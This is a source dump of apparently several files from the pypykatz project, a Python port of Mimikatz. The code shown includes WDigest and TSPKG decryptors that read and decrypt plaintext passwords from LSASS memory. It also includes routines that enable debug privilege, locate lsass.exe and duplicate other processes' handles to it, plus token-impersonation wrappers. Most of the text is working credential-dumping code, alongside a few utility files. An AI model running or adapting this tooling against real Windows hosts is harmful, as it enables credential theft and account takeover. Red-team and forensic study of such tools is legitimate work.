%s' % e) 61 | return 62 | result_ptr_list = [] 63 | await self.reader.move(entry_ptr_value) 64 | try: 65 | ptable = await PRTL_AVL_TABLE.load(self.reader) 66 | start_node = await ptable.read(self.reader) 67 | except Exception as e: 68 | logger.error('Failed to prcess TSPKG package! Reason: %s' % e) 69 | return 70 | await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) 71 | for ptr in result_ptr_list: 72 | await self.log_ptr(ptr, self.decryptor_template.credential_struct.__name__) 73 | await self.reader.move(ptr) 74 | credential_struct = await self.decryptor_template.credential_struct.load(self.reader) 75 | primary_credential = await credential_struct.pTsPrimary.read(self.reader) 76 | if not primary_credential is None: 77 | c = TspkgCredential() 78 | c.luid = credential_struct.LocallyUniqueIdentifier 79 | #c.username = primary_credential.credentials.UserName.read_string(self.reader) 80 | #c.domainname = primary_credential.credentials.Domaine.read_string(self.reader) 81 | #### the above two lines will be switched, because it seems that username and domainname is always switched in this package. 82 | #### reason is beyond me... 83 | 84 | c.domainname = await primary_credential.credentials.UserName.read_string(self.reader) 85 | c.username = await primary_credential.credentials.Domaine.read_string(self.reader) 86 | 87 | if primary_credential.credentials.Password.Length != 0: 88 | enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader) 89 | if c.username.endswith('$') is True: 90 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) 91 | if c.password is not None: 92 | c.password = c.password.hex() 93 | else: 94 | c.password, c.password_raw = self.decrypt_password(enc_data) 95 | 96 | self.credentials.append(c) -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/wdigest/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/wdigest/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/wdigest/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | import json 8 | 9 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor 10 | from pypykatz.alsadecryptor.win_datatypes import LSA_UNICODE_STRING 11 | 12 | class WdigestCredential: 13 | def __init__(self): 14 | self.credtype = 'wdigest' 15 | self.username = None 16 | self.domainname = None 17 | self.password = None 18 | self.password_raw = b'' 19 | self.luid = None 20 | 21 | def to_dict(self): 22 | t = {} 23 | t['credtype'] = self.credtype 24 | t['username'] = self.username 25 | t['domainname'] = self.domainname 26 | t['password'] = self.password 27 | t['password_raw'] = self.password_raw 28 | t['luid'] = self.luid 29 | return t 30 | def to_json(self): 31 | return json.dumps(self.to_dict()) 32 | 33 | def __str__(self): 34 | t = '\t== WDIGEST [%x]==\n' % self.luid 35 | t += '\t\tusername %s\n' % self.username 36 | t += '\t\tdomainname %s\n' % self.domainname 37 | t += '\t\tpassword %s\n' % self.password 38 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() 39 | return t 40 | 41 | class WdigestDecryptor(PackageDecryptor): 42 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 43 | super().__init__('Wdigest', lsa_decryptor, sysinfo, reader) 44 | self.decryptor_template = decryptor_template 45 | self.credentials = [] 46 | 47 | async def find_first_entry(self): 48 | position = await self.find_signature('wdigest.dll',self.decryptor_template.signature) 49 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 50 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) 51 | return ptr_entry, ptr_entry_loc 52 | 53 | async def add_entry(self, wdigest_entry): 54 | """ 55 | Changed the wdigest parsing, the struct only contains the pointers in the linked list, the actual data is read by 56 | adding an offset to the current entry's position 57 | """ 58 | wc = WdigestCredential() 59 | wc.luid = wdigest_entry.luid 60 | 61 | #input(wdigest_entry.this_entry.value) 62 | await self.reader.move(wdigest_entry.this_entry.value + self.decryptor_template.primary_offset) 63 | UserName = await LSA_UNICODE_STRING.load(self.reader) 64 | DomainName = await LSA_UNICODE_STRING.load(self.reader) 65 | Password = await LSA_UNICODE_STRING.load(self.reader) 66 | 67 | wc.username = await UserName.read_string(self.reader) 68 | wc.domainname = await DomainName.read_string(self.reader) 69 | wc.encrypted_password = await Password.read_maxdata(self.reader) 70 | if wc.username.endswith('$') is True: 71 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True) 72 | if wc.password is not None: 73 | wc.password = wc.password.hex() 74 | else: 75 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password) 76 | 77 | if wc.username == '' and wc.domainname == '' and wc.password is None: 78 | return 79 | 80 | self.credentials.append(wc) 81 | 82 | async def start(self): 83 | try: 84 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() 85 | except Exception as e: 86 | self.log('Failed to find Wdigest structs! Reason: %s' % e) 87 | return 88 | await self.reader.move(entry_ptr_loc) 89 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) 90 | await self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/argpretty.py: -------------------------------------------------------------------------------- 1 | 2 | import pprint 3 | from .argparsertest import make_completion_from_argparse 4 | 5 | 6 | def argpretty(parser): 7 | 8 | #print(1) 9 | #input(pprint.pprint(parser.__dict__)) 10 | #print(2) 11 | #input(pprint.pprint(parser.__dict__['_actions'])) 12 | 13 | x = make_completion_from_argparse(parser) 14 | pprint.pprint(x['subparsers']) 15 | 16 | for key in x: 17 | print(key) 18 | 19 | input() 20 | for rd in x['subparser_cmds']: 21 | print(rd['name']) 22 | 23 | 24 | input() -------------------------------------------------------------------------------- /pypykatz/buildtools/pypykatz.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/buildtools/pypykatz.ico -------------------------------------------------------------------------------- /pypykatz/commons/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/filetime.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2009, David Buxton 3 | # All rights reserved. 4 | # 5 | # Redistribution and use in source and binary forms, with or without 6 | # modification, are permitted provided that the following conditions are 7 | # met: 8 | # 9 | # * Redistributions of source code must retain the above copyright 10 | # notice, this list of conditions and the following disclaimer. 11 | # * Redistributions in binary form must reproduce the above copyright 12 | # notice, this list of conditions and the following disclaimer in the 13 | # documentation and/or other materials provided with the distribution. 14 | # 15 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS 16 | # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 17 | # TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 18 | # PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 19 | # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 20 | # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED 21 | # TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 22 | # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 23 | # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 24 | # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 25 | # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | """Tools to convert between Python datetime instances and Microsoft times. 27 | """ 28 | from datetime import datetime, timedelta, tzinfo 29 | from calendar import timegm 30 | 31 | 32 | # http://support.microsoft.com/kb/167296 33 | # How To Convert a UNIX time_t to a Win32 FILETIME or SYSTEMTIME 34 | EPOCH_AS_FILETIME = 116444736000000000 # January 1, 1970 as MS file time 35 | HUNDREDS_OF_NANOSECONDS = 10000000 36 | 37 | 38 | ZERO = timedelta(0) 39 | HOUR = timedelta(hours=1) 40 | 41 | 42 | class UTC(tzinfo): 43 | """UTC""" 44 | def utcoffset(self, dt): 45 | return ZERO 46 | 47 | def tzname(self, dt): 48 | return "UTC" 49 | 50 | def dst(self, dt): 51 | return ZERO 52 | 53 | 54 | utc = UTC() 55 | 56 | 57 | def dt_to_filetime(dt): 58 | """Converts a datetime to Microsoft filetime format. If the object is 59 | time zone-naive, it is forced to UTC before conversion. 60 | 61 | >>> "%.0f" % dt_to_filetime(datetime(2009, 7, 25, 23, 0)) 62 | '128930364000000000' 63 | 64 | >>> dt_to_filetime(datetime(1970, 1, 1, 0, 0, tzinfo=utc)) 65 | 116444736000000000L 66 | 67 | >>> dt_to_filetime(datetime(1970, 1, 1, 0, 0)) 68 | 116444736000000000L 69 | """ 70 | if (dt.tzinfo is None) or (dt.tzinfo.utcoffset(dt) is None): 71 | dt = dt.replace(tzinfo=utc) 72 | return EPOCH_AS_FILETIME + (timegm(dt.timetuple()) * HUNDREDS_OF_NANOSECONDS) 73 | 74 | 75 | def filetime_to_dt(ft): 76 | """Converts a Microsoft filetime number to a Python datetime. The new 77 | datetime object is time zone-naive but is equivalent to tzinfo=utc. 78 | >>> filetime_to_dt(116444736000000000) 79 | datetime.datetime(1970, 1, 1, 0, 0) 80 | 81 | >>> filetime_to_dt(128930364000000000) 82 | datetime.datetime(2009, 7, 25, 23, 0) 83 | """ 84 | return datetime.fromtimestamp((ft - EPOCH_AS_FILETIME) / HUNDREDS_OF_NANOSECONDS, tz=utc) 85 | 86 | 87 | if __name__ == "__main__": 88 | import doctest 89 | 90 | doctest.testmod() 91 | 92 | 93 | -------------------------------------------------------------------------------- /pypykatz/commons/readers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/readers/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/readers/local/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/readers/local/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/readers/local/common/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/readers/local/common/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/readers/local/common/fileinfo.py: -------------------------------------------------------------------------------- 1 | from .version import * 2 | import ctypes 3 | 4 | def get_file_version_info(filename): 5 | 6 | # Get the file version info structure. 7 | pBlock = GetFileVersionInfoW(filename) 8 | pBuffer, dwLen = VerQueryValueW(pBlock.raw, "\\") 9 | if dwLen != ctypes.sizeof(VS_FIXEDFILEINFO): 10 | raise ctypes.WinError(ERROR_BAD_LENGTH) 11 | pVersionInfo = ctypes.cast(pBuffer, 12 | ctypes.POINTER(VS_FIXEDFILEINFO)) 13 | VersionInfo = pVersionInfo.contents 14 | if VersionInfo.dwSignature != 0xFEEF04BD: 15 | raise ctypes.WinError(ERROR_BAD_ARGUMENTS) 16 | 17 | FileDate = (VersionInfo.dwFileDateMS << 32) + VersionInfo.dwFileDateLS 18 | return FileDate -------------------------------------------------------------------------------- /pypykatz/commons/readers/local/common/privileges.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | import ctypes 8 | from ctypes import windll 9 | from ctypes.wintypes import ULONG, BOOL,LONG 10 | 11 | from .privileges_types import * 12 | 13 | STATUS_SUCCESS = 0 14 | NTSTATUS = LONG 15 | POINTER = ctypes.POINTER 16 | 17 | def NtError(status): 18 | """ 19 | Converts NTSTATUS codes into WinError codes 20 | """ 21 | err = windll.ntdll.RtlNtStatusToDosError(status) 22 | return ctypes.WinError(err) 23 | 24 | # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html 25 | # BOOL WINAPI RtlAdjustPrivilege( 26 | # __in ULONG Privilege, 27 | # __in BOOLEAN Enable, 28 | # __in BOOLEAN CurrentThread, 29 | # __in PBOOLEAN Enabled, 30 | # ); 31 | def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False): 32 | """ 33 | privilige_id: int 34 | """ 35 | _RtlAdjustPrivilege = windll.ntdll.RtlAdjustPrivilege 36 | _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] 37 | _RtlAdjustPrivilege.restype = NTSTATUS 38 | 39 | CurrentThread = thread_or_process #enable for whole process 40 | Enabled = BOOL() 41 | 42 | status = _RtlAdjustPrivilege(privilige_id, enable, CurrentThread, ctypes.byref(Enabled)) 43 | if status != STATUS_SUCCESS: 44 | raise Exception(NtError(status)) 45 | 46 | return True 47 | 48 | def enable_debug_privilege(): 49 | """ 50 | Enables the SE_DEBUG privilege for the currently running process, if the process has SE_DEBUG privilege. (You'll need to be admin most probably) 51 | """ 52 | RtlAdjustPrivilege(PrivilegeValues.SE_DEBUG.value) 53 | 54 | if __name__ == '__main__': 55 | enable_debug_privilege() -------------------------------------------------------------------------------- /pypykatz/commons/readers/local/common/winreg.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import winreg 3 | from pypykatz.commons.readers.local.common.defines import * 4 | 5 | # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeya 6 | def RegOpenKey(key_handle, key_path): 7 | _RegOpenKey = windll.Advapi32.RegOpenKeyA 8 | _RegOpenKey.argtypes = [HANDLE, LPSTR, PHANDLE] 9 | _RegOpenKey.restype = bool 10 | _RegOpenKey.errcheck = RaiseIfNotZero 11 | 12 | lpClass = ctypes.create_string_buffer(key_path.encode()) 13 | key_handle_new = HANDLE() 14 | 15 | res = _RegOpenKey(key_handle, lpClass, byref(key_handle_new)) 16 | 17 | return key_handle_new 18 | 19 | # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryinfokeya 20 | def RegQueryInfoKey(key_handle): 21 | _RegQueryInfoKey = windll.Advapi32.RegQueryInfoKeyA 22 | _RegQueryInfoKey.argtypes = [HKEY, LPSTR, LPDWORD, LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,PVOID] 23 | _RegQueryInfoKey.restype = bool 24 | _RegQueryInfoKey.errcheck = RaiseIfNotZero 25 | 26 | lpClass = ctypes.create_string_buffer(b"", 255) 27 | lpcchClass = DWORD(255) 28 | lpReserved = DWORD(0) 29 | lpcSubKeys = DWORD(0) 30 | lpcbMaxSubKeyLen = DWORD(0) 31 | lpcbMaxClassLen = DWORD(0) 32 | lpcValues = DWORD(0) 33 | lpcbMaxValueNameLen = DWORD(0) 34 | lpcbMaxValueLen = DWORD(0) 35 | lpcbSecurityDescriptor = DWORD(0) 36 | lpftLastWriteTime = None 37 | 38 | res = _RegQueryInfoKey(key_handle, lpClass, lpcchClass, None, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime) 39 | 40 | return (lpClass.value, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, 41 | lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, 42 | lpcbSecurityDescriptor, lpftLastWriteTime) 43 | 44 | if __name__ == '__main__': 45 | pkey = winreg.HKEY_LOCAL_MACHINE 46 | for name in 'SYSTEM\\ControlSet001\\Control\\Lsa\\JD'.split('\\'): 47 | pkey = RegOpenKey(pkey, name) 48 | 49 | ki = RegQueryInfoKey(pkey) 50 | print(ki[0]) 51 | -------------------------------------------------------------------------------- /pypykatz/commons/readers/registry/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/readers/registry/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/readers/registry/live/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/readers/registry/live/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/readers/registry/live/reader.py: -------------------------------------------------------------------------------- 1 | import winreg 2 | import ntpath 3 | 4 | from pypykatz.commons.readers.local.common.winreg import * 5 | 6 | class LiveRegistryHive: 7 | def __init__(self, hive_name, root = winreg.HKEY_LOCAL_MACHINE): 8 | self.hive_name = hive_name 9 | self.root = root 10 | 11 | def close(self): 12 | return 13 | 14 | def setup(self): 15 | return 16 | 17 | def find_key(self, key_path, throw = True): 18 | if self.root is None: 19 | self.setup() 20 | if key_path == '' or key_path is None: 21 | return self.root 22 | 23 | key_path = self.hive_name + '\\' + key_path 24 | try: 25 | key = winreg.OpenKeyEx(self.root, key_path, access= winreg.KEY_READ) 26 | except Exception as e: 27 | if throw is True: 28 | raise e 29 | else: 30 | return None 31 | return key 32 | 33 | def enum_key(self, key_path, throw = True): 34 | if self.root is None: 35 | self.setup() 36 | 37 | #key_path = self.hive_name + '\\' + key_path 38 | key = self.find_key(key_path, throw) 39 | names = [] 40 | i = 0 41 | while True: 42 | try: 43 | name = winreg.EnumKey(key, i) 44 | names.append(name) 45 | i+= 1 46 | except OSError as e: 47 | if isinstance(e, WindowsError) and e.winerror == 259: 48 | break 49 | else: 50 | raise e 51 | 52 | return names 53 | 54 | def list_values(self, key): 55 | if self.root is None: 56 | self.setup() 57 | 58 | values = [] 59 | i = 0 60 | while True: 61 | try: 62 | value = winreg.EnumValue(key, i) 63 | values.append(value[0].encode()) 64 | i+= 1 65 | except OSError as e: 66 | if isinstance(e, WindowsError) and e.winerror == 259: 67 | break 68 | else: 69 | raise e 70 | 71 | return values 72 | 73 | def get_value(self, value_path, throw = True): 74 | if self.root is None: 75 | self.setup() 76 | key_path = ntpath.dirname(value_path) 77 | value_name = ntpath.basename(value_path) 78 | if value_name == 'default': 79 | value_name = '' 80 | 81 | key = self.find_key(key_path, throw) 82 | if key is None: 83 | return None 84 | 85 | res = winreg.QueryValueEx(key, value_name) 86 | return (res[1], res[0]) 87 | 88 | def get_class(self, key_path, throw = True): 89 | if self.root is None: 90 | self.setup() 91 | 92 | pkey = winreg.HKEY_LOCAL_MACHINE 93 | key_path = self.hive_name + '\\' + key_path 94 | for name in key_path.split('\\'): 95 | pkey = RegOpenKey(pkey, name) 96 | 97 | ki = RegQueryInfoKey(pkey) 98 | return ki[0].decode() 99 | 100 | 101 | -------------------------------------------------------------------------------- /pypykatz/commons/readers/rekall/__init__.py: -------------------------------------------------------------------------------- 1 | import rekall 2 | from rekall import session 3 | from rekall import plugins 4 | from rekall import scan 5 | from rekall_lib import utils 6 | -------------------------------------------------------------------------------- /pypykatz/commons/readers/volatility3/__init__.py: -------------------------------------------------------------------------------- 1 | from typing import List 2 | 3 | from volatility3.framework import interfaces, constants, exceptions, symbols 4 | from volatility3.framework import renderers 5 | from volatility3.framework.configuration import requirements 6 | from volatility3.framework.objects import utility 7 | from volatility3.framework.symbols import intermed 8 | from volatility3.framework.symbols.windows import extensions 9 | from volatility3.framework.layers.scanners import MultiStringScanner 10 | from volatility3.plugins.windows import pslist, vadinfo 11 | -------------------------------------------------------------------------------- /pypykatz/commons/winapi/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/winapi/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/winapi/local/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/advapi32.py: -------------------------------------------------------------------------------- 1 | 2 | import ctypes 3 | from pypykatz.commons.winapi.constants import * 4 | from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, \ 5 | GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, \ 6 | SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY, OpenSCManagerW, SC_MANAGER_ALL_ACCESS, \ 7 | SERVICE_DRIVER, SERVICE_WIN32, SERVICE_STATE_ALL, EnumServicesStatusW, EnumServicesStatusExW, SC_ENUM_PROCESS_INFO 8 | from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW 9 | 10 | 11 | class ADVAPI32: 12 | def __init__(self): 13 | pass 14 | 15 | @staticmethod 16 | def LookupPrivilegeValue(system_name, privilege_name): 17 | return LookupPrivilegeValueW(system_name, privilege_name) 18 | 19 | @staticmethod 20 | def OpenProcessToken(process_handle, DesiredAccess = TOKEN_ALL_ACCESS): 21 | return OpenProcessToken(process_handle, DesiredAccess = DesiredAccess) 22 | 23 | 24 | @staticmethod 25 | def GetTokenInformation_sid(token_handle): 26 | return GetTokenInformation_sid(token_handle) 27 | 28 | 29 | @staticmethod 30 | def LookupAccountSid(lpSystemName, lpSid): 31 | return LookupAccountSidW(lpSystemName, lpSid) 32 | 33 | 34 | @staticmethod 35 | def ConvertSidToStringSid(lpSid): 36 | return ConvertSidToStringSidA(lpSid) 37 | 38 | @staticmethod 39 | def ConvertStringSidToSid(StringSid): 40 | return ConvertStringSidToSidA(StringSid) 41 | 42 | @staticmethod 43 | def DuplicateTokenEx(hExistingToken, dwDesiredAccess = TOKEN_ALL_ACCESS, lpTokenAttributes = None, ImpersonationLevel = SecurityImpersonation, TokenType = TokenPrimary): 44 | return DuplicateTokenEx(hExistingToken, dwDesiredAccess = dwDesiredAccess, lpTokenAttributes = lpTokenAttributes, ImpersonationLevel = ImpersonationLevel, TokenType = TokenType) 45 | 46 | 47 | @staticmethod 48 | def CreateProcessWithToken_manip(token, cmdline): 49 | SW_SHOW = 5 50 | STARTF_USESHOWWINDOW = 0x00000001 51 | 52 | lpStartupInfo = STARTUPINFOW() 53 | lpStartupInfo.cb = ctypes.sizeof(STARTUPINFOW) 54 | lpStartupInfo.lpReserved = 0 55 | lpStartupInfo.lpDesktop = 0 56 | lpStartupInfo.lpTitle = 0 57 | lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW 58 | lpStartupInfo.cbReserved2 = 0 59 | lpStartupInfo.lpReserved2 = 0 60 | lpStartupInfo.wShowWindow = SW_SHOW 61 | 62 | 63 | CREATE_NEW_CONSOLE = 0x00000010 64 | CreateProcessWithTokenW( 65 | hToken = token, 66 | dwLogonFlags = LOGON_NETCREDENTIALS_ONLY, 67 | lpApplicationName = None, 68 | lpCommandLine = cmdline, 69 | dwCreationFlags = CREATE_NEW_CONSOLE, 70 | lpEnvironment = None, 71 | lpCurrentDirectory = None, 72 | lpStartupInfo = lpStartupInfo 73 | ) 74 | 75 | 76 | @staticmethod 77 | def SetThreadToken(token_handle, thread_handle = None): 78 | return SetThreadToken(token_handle, thread_handle = thread_handle) 79 | 80 | @staticmethod 81 | def RevertToSelf(): 82 | return RevertToSelf() 83 | 84 | @staticmethod 85 | def OpenSCManager(dwDesiredAccess = SC_MANAGER_ALL_ACCESS): 86 | return OpenSCManagerW(dwDesiredAccess = dwDesiredAccess) 87 | 88 | @staticmethod 89 | def EnumServicesStatus(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL): 90 | return EnumServicesStatusW(hSCManager, dwServiceType = dwServiceType, dwServiceState = dwServiceState) 91 | 92 | @staticmethod 93 | def EnumServicesStatusEx(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None): 94 | return EnumServicesStatusExW(hSCManager, InfoLevel = InfoLevel, dwServiceType = dwServiceType, dwServiceState = dwServiceState, pszGroupName = pszGroupName) -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/function_defs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/commons/winapi/local/function_defs/__init__.py -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/function_defs/fileinfo.py: -------------------------------------------------------------------------------- 1 | from .version import * 2 | import ctypes 3 | 4 | def get_file_version_info(filename): 5 | 6 | # Get the file version info structure. 7 | pBlock = GetFileVersionInfoW(filename) 8 | pBuffer, dwLen = VerQueryValueW(pBlock.raw, "\\") 9 | if dwLen != ctypes.sizeof(VS_FIXEDFILEINFO): 10 | raise ctypes.WinError(ERROR_BAD_LENGTH) 11 | pVersionInfo = ctypes.cast(pBuffer, 12 | ctypes.POINTER(VS_FIXEDFILEINFO)) 13 | VersionInfo = pVersionInfo.contents 14 | if VersionInfo.dwSignature != 0xFEEF04BD: 15 | raise ctypes.WinError(ERROR_BAD_ARGUMENTS) 16 | 17 | FileDate = (VersionInfo.dwFileDateMS << 32) + VersionInfo.dwFileDateLS 18 | return FileDate -------------------------------------------------------------------------------- /pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import enum 3 | 4 | from pypykatz import logger 5 | from .ntdll import * 6 | from .kernel32 import * 7 | from .psapi import * 8 | 9 | class WindowsMinBuild(enum.Enum): 10 | WIN_XP = 2500 11 | WIN_2K3 = 3000 12 | WIN_VISTA = 5000 13 | WIN_7 = 7000 14 | WIN_8 = 8000 15 | WIN_BLUE = 9400 16 | WIN_10 = 9800 17 | 18 | 19 | #utter microsoft bullshit commencing.. 20 | def getWindowsBuild(): 21 | class OSVersionInfo(ctypes.Structure): 22 | _fields_ = [ 23 | ("dwOSVersionInfoSize" , ctypes.c_int), 24 | ("dwMajorVersion" , ctypes.c_int), 25 | ("dwMinorVersion" , ctypes.c_int), 26 | ("dwBuildNumber" , ctypes.c_int), 27 | ("dwPlatformId" , ctypes.c_int), 28 | ("szCSDVersion" , ctypes.c_char*128)]; 29 | GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA") 30 | version = OSVersionInfo() 31 | version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo) 32 | GetVersionEx( ctypes.byref(version) ) 33 | return version.dwBuildNumber 34 | 35 | DELETE = 0x00010000 36 | READ_CONTROL = 0x00020000 37 | WRITE_DAC = 0x00040000 38 | WRITE_OWNER = 0x00080000 39 | 40 | SYNCHRONIZE = 0x00100000 41 | 42 | STANDARD_RIGHTS_REQUIRED = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER 43 | STANDARD_RIGHTS_ALL = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE 44 | 45 | if getWindowsBuild() >= WindowsMinBuild.WIN_VISTA.value: 46 | PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF 47 | else: 48 | PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF 49 | 50 | PROCESS_QUERY_INFORMATION = 0x0400 51 | PROCESS_VM_READ = 0x0010 52 | 53 | 54 | #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx 55 | def enum_process_names(): 56 | pid_to_name = {} 57 | 58 | for pid in EnumProcesses(): 59 | if pid == 0: 60 | continue 61 | pid_to_name[pid] = 'Not found' 62 | try: 63 | process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) 64 | pid_to_name[pid] = QueryFullProcessImageNameW(process_handle) 65 | except Exception as e: 66 | continue 67 | 68 | return pid_to_name 69 | 70 | 71 | def get_lsass_pid(): 72 | pid_to_name = enum_process_names() 73 | for pid in pid_to_name: 74 | if pid_to_name[pid].lower().find('lsass.exe') != -1: 75 | return pid 76 | 77 | raise Exception('Failed to find lsass.exe') 78 | 79 | def enum_lsass_handles(): 80 | #searches for open LSASS process handles in all processes 81 | # you should be having SE_DEBUG enabled at this point 82 | RtlAdjustPrivilege(20) 83 | 84 | lsass_handles = [] 85 | sysinfohandles = NtQuerySystemInformation(16) 86 | for pid in sysinfohandles: 87 | if pid == 4: 88 | continue 89 | #if pid != GetCurrentProcessId(): 90 | # continue 91 | for syshandle in sysinfohandles[pid]: 92 | #print(pid) 93 | try: 94 | pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid) 95 | except Exception as e: 96 | logger.debug('Error opening process %s Reason: %s' % (pid, e)) 97 | continue 98 | 99 | try: 100 | dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ) 101 | #print(dupHandle) 102 | except Exception as e: 103 | logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) 104 | continue 105 | 106 | oinfo = NtQueryObject(dupHandle, ObjectTypeInformation) 107 | if oinfo.Name.getString() == 'Process': 108 | try: 109 | pname = QueryFullProcessImageNameW(dupHandle) 110 | if pname.lower().find('lsass.exe') != -1: 111 | logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) 112 | #print('%s : %s' % (pid, pname)) 113 | lsass_handles.append((pid, dupHandle)) 114 | except Exception as e: 115 | logger.debug('Failed to obtain the path of the process! PID: %s' % pid) 116 | 